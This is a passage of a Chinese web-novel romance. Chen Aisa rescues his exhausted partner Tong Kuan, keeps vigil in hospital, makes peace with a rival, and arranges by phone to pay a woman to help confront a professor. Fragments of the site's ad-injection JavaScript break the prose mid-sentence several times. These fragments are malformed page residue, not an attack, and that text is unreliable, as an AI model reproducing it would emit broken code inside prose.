和徐熠的电话挂断后,陈艾卅深深叹了一口气,自己的胳膊腿也开始酸了起来,他太累了,即使在找到童宽后的担心比之前更甚,也忍不住眼皮要合在一起,但在此刻最不能睡,他一下一下地掐着自己的胳膊,感到疼痛的时侯再放开。 怀里的人呓语了一声,陈艾卅凑近了耳朵听了听,童宽的睫毛又颤了颤,他又唤他,“小宽啊,快醒来。” 有一朵厚云停留在了空中,挡住了烈阳,阴影落在两人身上。 在陈艾卅的注视下,童宽慢慢睁开了眼睛,他看了陈艾卅一眼,又闭上了。 接着他的睫毛颤动得越来越厉害,一大颗眼泪从眼角落下,顺着鬓角落到了陈艾卅的外套上。 童宽说了一句话,陈艾卅没听清是什么,他又凑得近了一点。 嘶哑的嗓音好像一根枯木枝条,最尖锐的地方划开了他的心脏,木刺好像还扎到了他的肺,几乎让陈艾卅不能呼吸。 “卅哥、对不起……” 陈艾卅抿着嘴,尽量让自己的泪不流下来。 “我又看见你了,对不起……” “对不起……” 陈艾卅把童宽往上抱了抱,让他们两个能脸贴着脸。 “我在,”陈艾卅的声音里都是哭腔,“我来晚了,是我对不起你。” 童宽突然展了个笑,看起来又高兴又憔悴,“真好啊,又梦见你了。” “不是梦,不是梦,”陈艾卅再也控制不住泪水,带着体温的泪水又落到了童宽的脸上,“我在这里,我就在这里。” 怀里的童宽闭上了眼睛,又不动了,任陈艾卅怎么呼喊都不醒。 他开始恍惚,刚刚童宽说的那两句话是真的吗,他真的醒过吗,还是自己一厢情愿的期待。 陈艾卅从包里拿出了保温杯,里面还有一些热糖水,他还是轻轻晃着,希望童宽快快醒来,也希望他如果真的睡着的话,能有一个好觉,陈艾卅突然想到了那天自己发烧,童宽一遍遍为自己敷额头擦酒精,他应该也是在这样强烈的担心下看着自己的。 他看着童宽的眼神又悔又恨,也泛着心疼,睡意也重重袭来,陈艾卅强睁眼睛,可还是忍不住脑袋一点一点往下。 实在困得受不了的时候,陈艾卅开始讲起了他们的这七年,他之前总爱问童宽,是什么时候对他有的好感,是什么时候喜欢他的,爱上他又是什么时候,童宽总是支支吾吾的,可又对着陈艾卅解释,不是不愿意告诉他,而是他自己也不清楚,反应过来的时候,就已经非常喜欢了,陈艾卅就揉揉童宽的脸说他知道。 这次,换他来讲,从与童宽认识的在教育超市的第一面,到他们的第一个拥抱、第一个吻、第一次冲动,只不过都是从陈艾卅自己视角阐述的,更多的是他自己的心路历程。 他说自己幸好没有死脑筋地觉得男的不合适,说自己对童宽的偷窥欲,坦白对童宽的钟情……还有在一起之后的快乐和患得患失。 陈艾卅还提到了他们同居之后的事情,最开始的甜蜜快乐也好,后来的忽略不见也好,他毫无保留地,把自己的所想所感一股脑地都说了出去,他从来对童宽也只有实话,他不舍得骗他。 后来陈艾卅嘴太渴了,便不再说下去了。他连保温杯里的水都不敢喝,那是加了糖的温开水,是他要救童宽唯一的水分供给。 陈艾卅刻意没有提徐熠提到的那件事,他觉得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这是要与童宽商量的,而不是自己单方面需要询问的、或者是求证什么,他不需要知道当时的答案了,只想童宽不要再暗自再为他付出什么,童宽已经为他付出太多了,他不知道自己这么多年来是怎么能心安理得收下他这些好的,自己的爱与童宽给予的相比,就好像还在象牙塔里。 “卅哥……”童宽闭着眼睛,声音还是很沙哑,却好像真的醒了。 陈艾卅惊喜地看着,却不敢很用力地去晃他,只是也很轻柔地应答着,“我在,小宽,我在。” 没想到童宽笑了一声,“我是……死了吗?” 陈艾卅的眉头紧皱,心里讶异道童宽怎么会这么想,难道自己在他的脑海里,是一个固执又自负的人,是一个绝对不会去找他的人吗?是分开的那天情绪太过强烈,所以给了他这样决绝的感受吗?童宽怎么会死,他如果死了……要陈艾卅怎么办。 “没有,”陈艾卅停顿了一下,强压住了又翻涌上来的酸意,“你没有死,你不会死,我来找你了,我找到你了,你醒一醒,睁开眼睛看看我好吗?” 陈艾卅原本不抱希望,他觉得童宽还在迷糊中,可童宽好像在努力地睁眼睛,浓密的睫毛缓缓向上,陈艾卅先是看到了一些精光,这是与刚刚童宽睁眼时候没有聚焦的迷茫是不同的。 童宽醒了。 先是一哆嗦,接着哑着的嗓子喊了出来。 “卅哥!?” 陈艾卅嘴唇颤抖,憋了个难看的笑脸,对着童宽点了点头,“是我。” 童宽眼睛里的躲闪让陈艾卅更心疼了,他想立马从陈艾卅的怀里起来,可身上的乏力却让他无法再多动一些,只能躺在陈艾卅的怀里,却别过了头去,闷闷地说了一句,“对不起,又给你添麻烦了。” “别说这个,”陈艾卅摇着头,“永远不要对我说这个了,童宽,我欠你的都没法还。” 童宽笑了笑,不在意地摇了摇头,“卅哥你在说什么。” 他终于在这句话下完全破防,“我错了,是我错了,我对不起你童宽,我不应该和你闹脾气,我……我一点都没注意到你的状态,却在责怪你怎么没看见我,对不起,对不起,对不起……” 童宽皱了皱眉,抬了一只手起来,好像要去摸陈艾卅的脸,可他实在太虚弱了了,抬到了一半就停住了手,陈艾卅一下就握了上去。 “卅哥,”童宽眼睛又闭上了,声音里有些不确定,“你还会走吗?” 陈艾卅抱紧了他,“不走了,哪里都不去了。” 他从包里拿出了保温杯,打开后递到了童宽的嘴边,“喝一点热水,加了糖,甜的。” 童宽没睁眼就着喝了一点,笑着笑着就落泪了,“卅哥,你真的、真的回来了吗?我好怕这是假的。” “是我不该那样做,我不应该离开你,我怎么能离开你,”陈艾卅哽咽着说,“我回来了,你还要我吗?” “卅哥……”童宽又叫了他一声,“公司我不要了,我要你。” 陈艾卅抱着童宽痛哭流涕,不断地说对不起,童宽却没有再回应他。 43. 有心 分局救援队来到这里的时候,已经接近晚上了,有四个消防员一样的人抬来两个担架,陈艾卅见到他们的时候几乎有些丧失了思考,他甚至不想把怀里的童宽交出去,他一定要给徐熠打个电话才行,直到他看到郭响,他之前心里的憋闷和疑问都化成了愤怒,但碍于怀里的人不好发作,郭响把自己手里的卫星电话给了陈艾卅。 “我都联系过了,放心吧,和童宽一起去医院,检查一下。”徐熠在电话里跟他说。 陈艾卅还是有些不放心,“你都问过了吗,童宽现在睡睡醒醒的,我不知道他什么状态。” “都问过了,赶紧去吧,”徐熠声音里也有些疲惫,看来这两天下来他也一直在忙活,“你……自己也注意下状态,别等童宽醒了你倒了。” 陈艾卅愣了愣,说了句,“谢谢。”才把卫星电话还给郭响,他现在不想问郭响这到底是怎么回事,他来不及去追究原因,只希望童宽尽快恢复过来。 他终于同意把童宽放到了担架上,但在消防员抬来第二个担架的时候拒绝了,他要呆在童宽身边,他要守着他,不再让他冒任何风险。 在林子里,他一路跟着童宽的担架往外走着,刚刚进来的时候总感觉走了很远的路,但实际上走了没几分钟就到了高速路边,他看到救护车停在临时车道上的时候,好像终于胸口吸进了新鲜的氧气,郭响走到了他的身边。 “老卅。”郭响试图叫他。 陈艾卅只是看了他一眼,便没再说话。 “老卅!”郭响一把拉住了他的胳膊,他直接甩开了,回过头对着他露了个凶狠的表情。 “你们找了72个小时的人,被我一上午找着了?你最好想想要怎么跟我解释。” 童宽被抬到了救护车上,陈艾卅直接跟了上去,在随车的护士要把他赶下去的时候,他直接告诉了别人他是童宽的家属,在得到了郭响的点头后,护士便没再为难他,只是让他坐在童宽的边上。 这个地方的医疗条件很差,县城里甚至还做不了核磁共振,但也来不及去省会了,他们只能飞驰在去地级市的医院,童宽被罩上了氧气,脸色明显有些缓和,但好像在迷迷糊糊地说着什么,陈艾卅俯身去听,却是听到的一声声卅哥,他不禁握紧了童宽的手,一遍遍告诉童宽他在。 路上的这一个小时时间,整个救护车后面的空间都是单调的对话,别人听不清童宽在说什么,却能听懂陈艾卅时不时念叨童宽的名字,周围没有人说话,就是车终于停下来的时候,又听到陈艾卅对童宽说了一句,“小宽,到医院了,你不要怕,我在的。” 进急救室的第一件事就是输葡萄糖液,陈艾卅坚持自己没什么问题就被叫去办入院手续了,他看着那些个人信息类的内容,全程从上到下没有犹豫过一下,填得特别顺畅,他觉得自己并不是半年前离开童宽的,而是昨天,是每个今天在想到童宽的时候都会觉得难过的昨天。 陈艾卅焦急地在收费处处理完了手续就立刻回到了急诊,抓住了站在童宽旁边的主治医师问他童宽有没有什么问题,他语无伦次地和医生解释他自己已经检查过他身上的外伤,医生让他不要着急,但陈艾卅就是怎么都停不下来,一会儿问脑内有没有受伤,一会儿又问内脏,直到医生也不说话了,就定着看他,陈艾卅才慢慢安静下来。 “不好意思医生,我、我有点太着急了,您说。” “没什么事,没有失温,就是病人本身有点营养不良,然后又有点脱水。” “能……看出来他失踪了几天吗?” 医生看着陈艾卅不说话,然后摇了摇头,“这个你得问警察了。” 什么原因都可以靠边站,只要童宽自己本身身体没问题就好。陈艾卅对着里面的病床指了指,“我可以进去看他吗?” “可以,小点声,他应该睡着了。” 陈艾卅点了点头就进去了。 他进去的时候,已经看到童宽换上了住院服,白色和浅蓝色的相间的竖条,陈艾卅坐到了他的旁边,看着童宽正在输液的手,他轻轻用手背感受了一下童宽的温度,他的手很凉,不知道是不是因为输液的关系,陈艾卅不敢妄动,只好虚虚地握着输液管,企图温暖一下即将输入童宽身体的液,让他不要觉得太冷。 陈艾卅坐在童宽旁边的时候,想了很多事,让他久久不能释怀的,就是童宽又昏迷过去前的那句话,童宽对他说,公司他不要了,他要自己。 郭响来了,就站在陈艾卅的旁边。 “聊聊吗?”郭响问他。 “等我朋友来了再说吧。”陈艾卅直接拒绝了,他不是不好奇,也不是不追究,而是眼下只有他一个人,把童宽一个人放在这里,他不放心。 郭响点了点头,“好,那你朋友什么时候来?” “快了,”他心里还是有些愤怒的,说出来的话也有点重,甚至没有去想,这个人是不是警察,“你最好把前因后果都调查清楚,其中但凡有一点点疑问,我都会不择手段向法院提起诉讼。” “知道了,”郭响叹了口气,还是给陈艾卅道了个歉,“是我们疏忽了。” “疏忽了?!”陈艾卅突然提高了声音,但又看到童宽紧闭的眼睛,就止住了自己的怒火,下了逐客令,“晚点再说吧,你先走吧。” 陈艾卅就坐在童宽的床头,童宽被擦伤的地方已经上过了碘伏,皮肤上有一些泛黄的痕迹,他握着童宽的手,又看向了童宽的脸,应该要给他刮一下胡子的,他肯定不喜欢看到胡子拉碴的自己。 童宽已经褪去了七年前的青涩,陈艾卅突然想起童宽创业后的第二年,有一天通宵回来后,看到正在洗手间洗漱的自己,童宽默默站到了自己的身后,侧出来一个脑袋,对着镜子里的陈艾卅露出了一个疲惫的笑,陈艾卅就揉了揉他的脑袋,让他也赶紧洗漱了睡觉,又告诉他中午自己会给他点外卖,让他别饿着肚子。 童宽就叹了一声,对着陈艾卅说,觉得自己老了。 他用手指指着自己的眼尾、法令纹,还有眉间浅浅的川字印,他跟陈艾卅说,卅哥你看。当时陈艾卅记得,自己只是跟他说,你多睡睡觉就能好,童宽扯了个疲惫的笑点了点头。 现在想来,陈艾卅觉得自己才是忽略童宽的那一个,自己在成熟的大公司里作为公司里的一环,他争取到订单后自然后面会有人来跟进,只需要在固定维护的时候和客户吃顿饭,再在续约的前后付出一些努力,就不再需要自己做什么了,而童宽真正是从初期到末期一直跟进的一方,他不仅需要对客户有交代,在开发的过程中甚至还需要做一些指导,碰到技术难题的时候甚至需要自己亲自上手,运营 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的时候也需要从用户的角度进行内容创作方向的把握,还有更多数据的分析…… 看着躺在床上的人,陈艾卅才意识到,那时候的童宽,不过也只有三十岁而已。 能要求一个同样和自己拥有24小时的人什么呢? 童宽的下颚线更加消瘦了,他觉得自己之前好不容易稍微养胖一点的男孩又瘦了回去,他的难过在于,怎么花了那么久时间才养胖的一点点,瘦回去怎么只需要短短半年。 那一夜陈艾卅没合眼,看着他的点滴打完,看着在急诊病房偏黄的灯光下童宽的脸发呆,一夜过去,他暗暗下了个决定。 徐熠是第二天傍晚到的,进急诊病房前给陈艾卅打了个电话,本来想叫陈艾卅出去聊一下,但他实在不愿只留童宽一个人,于是就让徐熠直接进来。徐熠先是看到了在病床上的童宽,陈艾卅在他的眼睛里看到了怒火,以及他捏紧的拳头,他能明白徐熠想揍他的心。 “陈艾卅,如果和童宽在一起的是我,我绝对不会让他到这种地步。” “没这种如果,”在这点上他无比确定,陈艾卅从来没觉得童宽和别人在一起,会比和他在一起过得更好,“以后也不会有,你别想了。” 每次陈艾卅和徐熠见面,都火药味十足,无论是之前和童宽一起聊项目也好,还是之后毕业了,徐熠有的时候会带童宽去见投资人也好,每每陈艾卅来接童宽,徐熠的眼神对陈艾卅始终不友好。 徐熠自嘲地笑了一声,“我想不来的,童宽只喜欢你,真不知道他喜欢你什么。” “说正事吧。”陈艾卅实在不想和他再啰嗦。 “10%的股权好解决,我已经和殷蔚达成了初步的意向,但她坚持要再见你一下再做决定,要不要去威胁那老头一下。” “我现在见不了她,童宽没醒,我哪里都不去。” “我知道,所以这事只能等一等,”徐熠说,“童宽他……没别的伤吧。” “没有,”陈艾卅皱眉,“所以我也觉得很奇怪,但之前这只有我一个人,我有点不敢让他身边没人,所以原因我还没问。” 徐熠点了点头,又说道,“那我在这,你去问吧。” 陈艾卅看了一眼徐熠,不自禁地挑了一下眉梢,“等林琦过来。” “我操,”徐熠骂了一句,“你信不过我?” “不是,”陈艾卅还是握着童宽的手没放,直接坦言,“他睁开眼如果没看见我,反而你在面前的话,他会难过。” 徐熠没说话,算是默认了。 “林琦如果在的话,童宽就知道我在。” “他知道我在,就踏实了。” “他踏实了,我也就踏实了。” 陈艾卅叹了一口气,“对不住,在这点上,我不可能让步。” 话说到这里,徐熠反而笑了,“陈艾卅啊陈艾卅,你和传言里的不一样。” 陈艾卅没说话,在等他的下半句。 “他们都说你没有心,可我看你一整个心都挂在童宽身上了,”徐熠也跟着叹了口气,“你那么爱他,怎么就舍得撇下他,还说气话呢?你他妈怎么舍得和他分手的?” 陈艾卅低头看着童宽的脸,附和了一句,“是啊,我怎么会说出这种话。” “我怎么舍得撇下他的。” 44. 难得 童宽躺在病床上还是没有醒,期间护士和巡房的医生都来看过两眼,陈艾卅期望从他们的嘴里获得一些有用的信息,比如童宽什么时候会醒,但没有人说,只是告诉他病人只是有些脱力,还在恢复中,没有昏迷,让他不用太过担心,可这么一路算来,童宽已经睡了快一天了,他实在是担心,之前在林子里找到他的时候还睁过两次眼,今天完全没醒过。 之前联系自己的那个老警察又给陈艾卅打了个电话,主要是询问一下童宽的情况,还有他们的调查分局已经知道了,告诉他有什么事尽管可以和分局的人说,陈艾卅感谢过后,问他是不是之后的事情就不归他们管了,老警察说是的,既然人找到了他们那边的支援也算结束了。 挂电话之前,老警察还调侃了陈艾卅一句,说本来是抱着逮他的心去见他的,没想到给人激出来一个千里追爱,陈艾卅苦笑了一声没说什么。 徐熠一直在病床的另一侧,他开着自己的笔记本电脑正在处理事情,见陈艾卅打完电话了也把电脑合上了。 “殷蔚联系我了,你要跟她说点什么吗?”徐熠看着陈艾卅。 陈艾卅皱了皱眉,看了看躺在床上的童宽,昨天晚上他已经帮童宽把他的青胡茬处理掉了,就是没敢太用力,现在下巴上还是能看到一些青色的痕迹。他犹豫了一会,按照陈艾卅一贯的处理方式,他都会等童宽的意见,然后再做决定,可童宽善良又心软,不愿意做一些可能会产生激烈对抗的事,他第一次想稍稍脱离自己尊重的范畴里,为童宽先决定一些事情。 “现在吗?”陈艾卅问徐熠。 “不急,你想好了我打电话给她就好。” “你把她电话给我吧,我来联系她。”陈艾卅看了徐熠一眼。 “不是,”徐熠摆了一张带着笑的臭脸,“用完就踹?” 陈艾卅也不甘示弱,“留着过年?” “真有你的。”徐熠骂骂咧咧地就把殷蔚的手机号发到了陈艾卅的微信上,“发你了,你不问问童宽的意见吗?” 本来是想回他一句关你什么事的,但陈艾卅想着这人也忙前忙后的折腾着,还那么大老远来了,还是有些心存感激,便没再说难听的话,稍作解释了一下,“这事童宽都不一定知道,我先处理了吧。” “学长还真是,”徐熠抬了一下眉梢,“万人迷啊?” 陈艾卅没搭理他这股酸劲,但两人现在能够互相损来损去,也是因为童宽的身体没什么大碍,不然吵架也都算轻的了。 “你出去吧,”陈艾卅用眼神示意了一下徐熠,“我给她打电话。” 徐熠抿了抿嘴,有些不情愿,但最终什么都没说,就出去了。 陈艾卅先是低头到童宽的耳边,轻轻说了一声,“我打个电话,如果吵到你了,你就捏一下我的手指,好吗?” 意料之中,童宽对于他这个耳语没有任何反应,但陈艾卅还是握住了童宽的手,他清楚打电话可能会吵到童宽,但他现在就是做什么事,都不愿意离开他一步,他一秒钟,都不愿意再给童宽造成自己不在身边的景象。 那边电话很快接通了,带着点犹豫的女声传了过来,“学长?” “你好,”陈艾卅礼貌地说道,“我是陈艾卅。” “对不起学长。”殷蔚直接先道了个歉。 “过去很久了,我不是来追究这件事的。”陈艾卅也直接,他不想在这种拉扯上浪费时间,“在这件事上你也是受害者,所以我想先问问你对那老头什么看法?” “你说的老头,是丁彧吗?” “我不知道他叫什么名字,”陈艾卅这才反应过来,自己从来没有关心过这老头叫什么,“就是那个给我论文不通过的教授。” “那就是他,”殷蔚声音里突然混了些哽咽,“他毁了我。” 陈艾卅实在无法在一个小姑娘自怜自艾的时候再说什么“你活该”之类的重话,他还是那个彬彬有礼的陈艾卅,但他这次也实在没余力表现自己的风度,专注在解决这件事上,“你们具体发生了什么,我不感兴趣,也不想问,但如果你真的觉得对不起我,也觉得不甘心的话,我们可以一起联手去学校告发他。” “我不想走到台前,我不想成为舆论的旋涡,”殷蔚的声音里带着些颤抖,“我现在的工作还不错,如果被人知道我以前和教授发生过一些不当关系,肯定会对我有影响。” “那好,”这也在陈艾卅的意料之中,他见过童宽是怎样站在舆论中心的,甚至他自己也在其中有过几天的体验,他也不想别人再去经历这些,“如果你不愿意站出来,之后陪我们去找他一下,可以吗?” 殷蔚犹豫了,“我想问问去找他做什么?我……可能需要知道具体做些什么才能做决定。” “我们只是去要回属于我们自己的东西就好,”陈艾卅说得很模糊,但在对殷蔚有什么好处上,却十分清晰,“如果你陪我们去,可以得到一笔钱,就当老头,叫丁彧是吧,就当他赔偿给你的。” “多少?” 坦白说,陈艾卅在听到殷蔚这么个问题的时候,有直接挂电话的冲动,忙还没帮上,先来问问多少钱,真是上梁不正下梁歪,他心里还没骂完,殷蔚又在电话里说了一句话。 “我还在管培生阶段,这里的房租太高了,我需要钱,”殷蔚突然理直气壮了起来,“我也没办法,我想留下来。” 殷蔚的这几句话陈艾卅莫名觉得有些熟悉,他突然想到,当时他毕业的时候,童宽也是一个人在他身边默默念叨着,会陪陈艾卅一起留在这里,他决定还是不要为难这个女孩了,“十万,够你一年房租了吧。” “行。”殷蔚爽快地答应了下来。 “我们目前不在本地,等回去了我给你打电话,我们见个面,先付30%,和老头见完面了再付30%,最后事情解决了付你40%,你没问题吧?” 殷蔚好像从来也没意识到这笔钱还有多次付款的情况,先是抱怨了一下,陈艾卅直接失去了耐心,风度全都抽离了,“麻烦你搞搞清楚,现在是你有事情落在我们手里,让你帮忙是在给你机会。” 几句重话下来,殷蔚才答应了下来。 挂电话之前,殷蔚又多嘴问了陈艾卅一句,“学长,你现在还在和那个男生在一起吗?” 陈艾卅皱了下眉,他知道她嘴里的那个男生指的是谁,学校里的人从来不管童宽是不是计算机系首屈一指的天才,却更专注他的性向、他的八卦、他的男朋友。陈艾卅的回话也没了太多耐心,甚至带了些嘲讽,“七年前的论坛你没看吗?” “看了的,所以想问问你。” “一直在一起。” “哦……” “等我回去联系你,”陈艾卅想了想,补了一句,“到时候我爱人会和我一起去见你。” 挂了电话后,陈艾卅又看了看童宽,拿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起了他的手背在自己的嘴唇上来回蹭着,童宽的手纤细,却因为自己敲代码的关系有腱鞘炎,特别是在长久地用过手之后,手腕会特别痛,陈艾卅的唇落到了童宽的手腕上,来回亲了亲,以前他的指尖总是带着些甜腻的糖味,现在却被医院的酒精味道替代了,陈艾卅又有些过意不去,挨个吻了吻他的手指。 他突然觉得上天对他还是偏爱的,自己一路过来想过的所有不好的结局,都不存在,回去后一定要去找时间好好拜一拜。 电话刚挂没多久,徐熠就进来了。 他还是坐回了病床的那边,隔着童宽和陈艾卅面对面,但这次他坐下没有打开电脑,而是就这么盯着陈艾卅看着。 “听说你以前从来不会对别人说重话。”徐熠莫名其妙开了这个口。 陈艾卅没看他,但还是接了他的话,“我没对殷蔚说什么,她如果自己不想拿点什么东西,完全没必要告诉你她和丁彧的这个经历。” “她和你说教授的名字了啊。” “说了。” “你答应给她多少?”徐熠也是个生意人,对于陈艾卅会说服殷蔚的原因一针见血。 “十万。” “她倒是不贪心。” “不贪心么,”陈艾卅叹了一口气,下巴朝躺着的童宽那抬了一下,“这小孩儿当时万把块钱都如数家珍。” 徐熠愣了一下,低头轻声说了一句,“以前没看出来,你挺宠他的。” 陈艾卅抬头看了徐熠一眼,没说话。 “挺多年前吧,应该是……”徐熠清了清嗓子,“你俩在一起之前,我问过童宽要不要在一起。” “啊?”陈艾卅好像吃了苍蝇,抬起头来看着徐熠,童宽从来没有提过,只是淡淡说过徐熠好像对他有些别的意思。 “你也不用太惊讶,都还在学校那会儿的事了,”徐熠自嘲地笑了一下,“我和他说,我们可以一起合作,也可以更亲密一些,我当时脑子也一热,直接和他说自己对他有好感。” “然后呢?” “然后他好几天没理我。”徐熠笑了起来,摇了摇头,“连项目上的事都少和我说了很多。” 陈艾卅也笑了,没有吃醋,倒觉得徐熠碰上了个软钉子。 “后来我不甘心,又和他提了。借着项目上的事和他见面的时候说的。” “你倒是不气馁。”陈艾卅揶揄他,“花架子也不少。” “啧,怎么说话呢,那会儿我还是清纯小男生呢,”徐熠又笑,“直到后来,他跟我说他有喜欢的人。” 陈艾卅的笑慢慢褪了下去,他就这么盯着徐熠看,听他的下文。 “其实只要在他身边呆两天,就会知道他喜欢的人是谁。”徐熠也没再笑了,一脸正经。 陈艾卅叹了一口气。 “他说,”徐熠看向了童宽,好像在背诵好多年前听到的那句话,“这个人像天降神兵一样,他一出现,我就知道我喜欢他了。” 陈艾卅反复咀嚼着这句话,心里又酸又暖,还握着童宽的那只手在他的手背上又摩挲了几下,心里又暗暗说他小傻子。 “所以那天他找我来吃饭,是为了让你知难而退?”陈艾卅问徐熠。 “不完全是,”徐熠说,“他更想让我看看你,有一点点,炫耀。” “真难得啊。”陈艾卅说。 “是啊,”徐熠跟了一句,“真难得啊。” 45. 挚爱 “所以你也不要觉得自己无能,”徐熠接着说道,“没有你的话,童宽或许不会经历这一遭,但他也不会快乐。” “你没事的话可以走了,”陈艾卅烦他说这些,“我从来不怀疑这点。” 徐熠站了起来,语气放软了,“我来也不是来和你抢他的,这么些年过去了,大家也都有了各自的生活,就是他实在辛苦,别再把他弄丢了。” “我知道,这一趟还是谢谢。”陈艾卅站起了身,对徐熠伸出了手。 两个本来互相有些不顺眼的人,终于在多年之后的现在,和解了。 病房的门被推开了,梁臣和林琦走了进来,林琦看到徐熠还有些惊讶,“徐总,你怎么会在这?” 徐熠看了一眼陈艾卅,清了清嗓子,“陈艾卅叫我来的。” “你们,”林琦左右看了看,“认识?” 可能是因为陈艾卅和徐熠从来没有在学校里有过交集,林琦觉得这两个人站在一起很稀奇,陈艾卅笑了一下,“认识,在大学的时候就认识了。” 林琦点了点头,然后就往童宽身边走去,又抬起头来问他,“宽哥还没醒吗?” 陈艾卅点了点头,“没醒,医生说他有些脱力,会醒的。” 梁臣也走到了陈艾卅的面前,对他宽慰地一笑,“学长。” 陈艾卅拍了拍他的胳膊,表示感谢,梁臣拿了个小包给他,说一下拿不出太多现金,这里大概有五六万,需要的话他再去银行预约去取,陈艾卅点了点头说暂时先这样。有林琦在,陈艾卅就放心了,他没再管徐熠,倒是把梁臣拉到了外面。 “之前部里搞活动的时候,和他们对接,你有没有发现什么奇怪的地方?”陈艾卅问梁臣。 “没有,费用都是合理的,而且最开始我们来的时候,这里的确是伐木林区,后来才专为资源保护林区的,”梁臣顿了顿,“是里面有什么问题吗?” “我说不清楚,但是我找到童宽的地方,那片树林都被砍了,”陈艾卅说,“理论而言,已经不会有这么大片的砍伐了吧?” 梁臣点了点头,“我要去联系下那边的村支书吗?” 陈艾卅摇了摇头,他想到了郭响的那个眼神,好像想和他说些什么,解释些什么一样。 “晚点说吧,童宽还没醒,”陈艾卅又拍了拍梁臣的胳膊,“这次真的谢谢你了。” “学长说的什么话,宽总对我们而言也十分重要,林琦都快愁死了。” “学长,宽哥醒了。”林琦小跑出来,对着陈艾卅说道。 梁臣看了一眼陈艾卅,对林琦说:“我们去吃点东西,一会儿给学长和宽总带点吧?” 林琦点了点头,又回到了病房里,对着徐熠说了一声:“徐总,一起去吃点东西吧?” 徐熠只是看了一眼,就明白他们什么意思了,挨着童宽的耳朵说了一句话,谁都没听清,但童宽笑了笑,就还是有些虚弱,陈艾卅看在眼里,皱了皱眉,没多说什么,徐熠起了身,这次是用大家都听得见的声音说了一句,“你好好休息,我先回去了,保持联系。” 童宽点了点头,那声谢谢几乎没有发出声音来。 其他人都走开了,就剩下陈艾卅和童宽两个人。 这还是陈艾卅半年后,第一次和童宽清醒地面对面。 他一步步从门口走到病床边上,没有坐在椅子上,而是蹲了下去,握住了童宽的手,童宽看过来的眼神太深了,看得陈艾卅鼻子泛酸,他几乎把脑袋搁在了床上,脸颊贴着童宽的手背。 “你醒了。” “醒了。” “我记得之前我发烧,你也是像这样,一个脑袋冒在床边上。”陈艾卅轻声说着。 童宽闭了闭眼睛,好像想清清嗓子,可还是有些使不出力,眉头皱了皱。 “喝点水吗?”陈艾卅问他。 童宽点了点头。 陈艾卅从热水瓶里倒了些热水进马克杯里,又开了一瓶新的矿泉水往里倒了些,自己用唇感知了一下温度,不烫、也不凉,他这次学聪明了,之前路过别人病房的时候看到他们都用吸管给人喝水,他也去医院门口的超市买了一包,五颜六色的吸管里,他挑了一根天蓝色的,放进了白色的马克杯里,把吸管放到了童宽的唇边上。 童宽吸了一口,咽了下去,看向陈艾卅的时候露了些假意的责怪,“怎么没味道?” 陈艾卅明白了过来,之前他是自己带的一小包白砂糖,可这医院里,上哪去给他弄甜的,他有些犯难,又实在不愿意松开他的手。陈艾卅用着商量的语气对着童宽说:“那你等我一会儿可以吗,我去门口超市买些糖。” “卅哥,才过了半年,你怎么变笨了。”童宽看着陈艾卅的眼睛里带着笑。 他有些摸不着头脑,左右思考都没明白童宽所指的是什么,直到童宽努了努嘴,陈艾卅笑着低了低头。 “你也变了,”陈艾卅对着童宽的直球表现甚至有些不好意思,“变坏了。” “哪有。”童宽缓缓地眨了下眼睛,还是挺虚弱的。 陈艾卅把水杯放到了床头柜上,又握起了童宽的手,放到唇边轻轻亲了两下,看着童宽依旧可爱的样子,忍不住想要逗他,“医生说你还虚弱着,不能有太大情绪起伏,先亲亲手意思一下。” 可能是病房里只有他们两个,也可能是他太久没见到童宽撒娇,陈艾卅仔细盯着他的表情,他这次看清了,虽然脸色还有些苍白,但他的表情里多了一些雀跃,见童宽不说话,陈艾卅又用脸颊贴了贴他的手,“小孩儿,想什么呢?” 童宽又笑了,露出了他的那颗虎牙,“想是不是因为没刷牙,所以我们家大人嫌弃。” 陈艾卅听得心都快化了,站了起来,又坐到了床沿上,“要坐起来一些吗?” 童宽点了点头,陈艾卅就把童宽托起来了些,接着自己靠在了床头,让童宽斜靠在自己的身上。 他们两个谁都没提那片林子的事,在重逢的时刻,他们不想关心世界,也不想关心别人,连这一刻的病房、病床、床头柜、甚至水杯吸管,都变得透明了、消失了,全世界都从身边蒸发,陈艾卅只有怀里的童宽,童宽的背就靠在他的卅哥身上。 “我觉得徐熠有句话说得挺对的,”陈艾卅吻着童宽的耳后,感受着柔软的发丝,“一路过来,我觉得自己挺无能的。” “卅哥——”童宽刚想开口说些什么,就被陈艾卅打断了。 “不是我个人无能,而是,”陈艾卅叹了口气,“你不见了,我来找你,我好像使劲浑身解数,都不一定能找到你,无能为力的无能。” “你还是找到我了。”童宽闭着眼睛,靠在陈艾卅的身上,手也覆到了他的手上。 “如果真的找不到你,我都不知道该怎么办,以后的日子,要怎么活都想不到答案。” “卅哥,对不起……” “是我对不起你,”陈艾卅抱得紧了些,“你啊,才是那个历经风吹雨打也不倒的大松柏,我才是那养在温室里的花。” 童宽笑了笑,头转了些过去,看向了陈艾卅的眼睛,“卅哥,我的公司破产了。” 陈艾卅点了点头,随意地点了点头,“我知道。” “还欠了钱。”童宽继续说着,仿佛在陈述自己做错了什么事一样。 “没事,总会还上的。” “你不怪我吗?”童宽露出了疑问。 “为什么要怪你?” “把你弄丢了,公司也没做好。” “你好好的,比什么都强,”陈艾卅实在忍不住在他脸颊上亲了一口,“是我错了,是我只看到了自己眼前的东西,没有关注到你的付出和忍耐,我也挺讨厌的吧?之前?” 童宽笑了笑,也点了点头,“是挺讨厌的,喝醉的次数也不少。” 陈艾卅皱了皱眉,回忆着自己工作的这几年,单子越谈越大,应酬越来越多,先从普通的请客户吃饭,到和客户直接约酒局,有的时候还会逢场作戏碰一下烟和雪茄,最夸张的应该是陪着客户出海,他有男朋友的属性为他挡掉了许多“艳遇”,可他从来也没见童宽抱怨过什么。 “你怎么从来不提?”陈艾卅感觉到怀里的人深深吸了一口气,又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 重重叹了出来。 “我知道,”童宽用后脑勺蹭了蹭陈艾卅的肩窝,“你在为我们这个家在奋斗,想让我们变得越来越好。” “小宽,对不起。”陈艾卅又提了这三个字。 